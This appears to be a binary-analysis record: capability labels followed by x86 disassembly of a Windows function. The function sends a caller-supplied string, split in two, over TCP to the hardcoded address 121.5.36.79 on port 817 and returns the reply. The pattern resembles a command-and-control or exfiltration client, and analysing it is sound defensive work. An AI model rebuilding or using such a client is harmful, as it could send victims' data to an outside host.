Function at 0x4022a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42eaf3
mov eax, dword fs:[0]
push eax
mov eax, 0x2908
call fcn.0040cdf0
mov eax, dword [0x43d040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x290c], ecx
mov dword [ebp - 0x2910], ecx
mov dword [ebp - 0x2910], ecx
lea eax, [ebp - 0x28f0]
mov dword [ebp - 4], 0
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
mov dword [ebp - 0x2740], 0
movups xmmword [ebp - 0x2750], xmm0
mov dword [ebp - 0x273c], 0xf
mov byte [ebp - 0x2750], 0
movups xmmword [ebp - 0x2738], xmm0
mov dword [ebp - 0x2728], 0
mov dword [ebp - 0x2724], 0xf
mov byte [ebp - 0x2738], 0
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
mov edx, dword [ebp + 0x18]
cmp edx, 0x320
ja 0x40237e
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x2750]
push edx
cmova eax, dword [ebp + 8]
push eax
call fcn.00404120
push 1
push 0x437e04
lea ecx, [ebp - 0x2738]
call fcn.00404120
jmp 0x4024a7
mov ecx, 0x321
mov dword [ebp - 0x28f8], 0
cmp edx, ecx
mov dword [ebp - 0x28f4], 0
movups xmmword [ebp - 0x2908], xmm0
cmovb ecx, edx
cmp dword [ebp + 0x1c], 0xf
push ecx
cmova eax, dword [ebp + 8]
lea ecx, [ebp - 0x2908]
push eax
call fcn.00404f60
lea eax, [ebp - 0x2908]
push eax
lea ecx, [ebp - 0x2750]
call fcn.00403ea0
mov ecx, dword [ebp - 0x28f4]
cmp ecx, 0xf
jbe 0x402404
mov edx, dword [ebp - 0x2908]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4023fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402690
push ecx
push edx
call fcn.0040c015
add esp, 8
mov eax, dword [ebp + 0x18]
xorps xmm0, xmm0
mov dword [ebp - 0x28f8], 0
mov dword [ebp - 0x28f4], 0
movups xmmword [ebp - 0x2908], xmm0
cmp eax, 0x321
jb 0x40268b
add eax, 0xfffffcdf
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp + 0x1c], 0xf
lea eax, [ebp + 8]
cmova eax, dword [ebp + 8]
push ecx
add eax, 0x321
lea ecx, [ebp - 0x2908]
push eax
call fcn.00404f60
lea eax, [ebp - 0x2908]
push eax
lea ecx, [ebp - 0x2738]
call fcn.00403ea0
mov ecx, dword [ebp - 0x28f4]
cmp ecx, 0xf
jbe 0x4024a7
mov edx, dword [ebp - 0x2908]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40249d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402690
push ecx
push edx
call fcn.0040c015
add esp, 8
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov eax, 2
push 0x331
mov word [ebp - 0x2760], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.121.5.36.79
mov word [ebp - 0x275e], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x275c], eax
lea eax, [ebp - 0x2760]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp dword [ebp - 0x273c], 0xf
lea eax, [ebp - 0x2750]
mov esi, dword [sym.imp.WS2_32.dll_send]
cmova eax, dword [ebp - 0x2750]
push 0
push dword [ebp - 0x2740]
push eax
push edi
call esi
cmp dword [ebp - 0x2724], 0xf
lea eax, [ebp - 0x2738]
push 0
push dword [ebp - 0x2728]
cmova eax, dword [ebp - 0x2738]
push eax
push edi
call esi
push 0
push 0x2710
lea eax, [ebp - 0x2720]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov esi, dword [ebp - 0x290c]
lea ecx, [ebp - 0x2720]
xorps xmm0, xmm0
lea edx, [ecx + 1]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402580
sub ecx, edx
lea eax, [ebp - 0x2720]
push ecx
push eax
mov ecx, esi
call fcn.00404f60
mov ecx, dword [ebp - 0x2724]
cmp ecx, 0xf
jbe 0x4025d2
mov edx, dword [ebp - 0x2738]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4025c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402690
push ecx
push edx
call fcn.0040c015
add esp, 8
mov ecx, dword [ebp - 0x273c]
mov dword [ebp - 0x2728], 0
mov dword [ebp - 0x2724], 0xf
mov byte [ebp - 0x2738], 0
cmp ecx, 0xf
jbe 0x402623
mov edx, dword [ebp - 0x2750]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402619
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402690
push ecx
push edx
call fcn.0040c015
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x2740], 0
mov dword [ebp - 0x273c], 0xf
mov byte [ebp - 0x2750], 0
cmp ecx, 0xf
jbe 0x40266e
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402664
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402690
push ecx
push edx
call fcn.0040c015
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040bfd2
mov esp, ebp
pop ebp
ret
call fcn.00404250
call fcn.0041762b
int3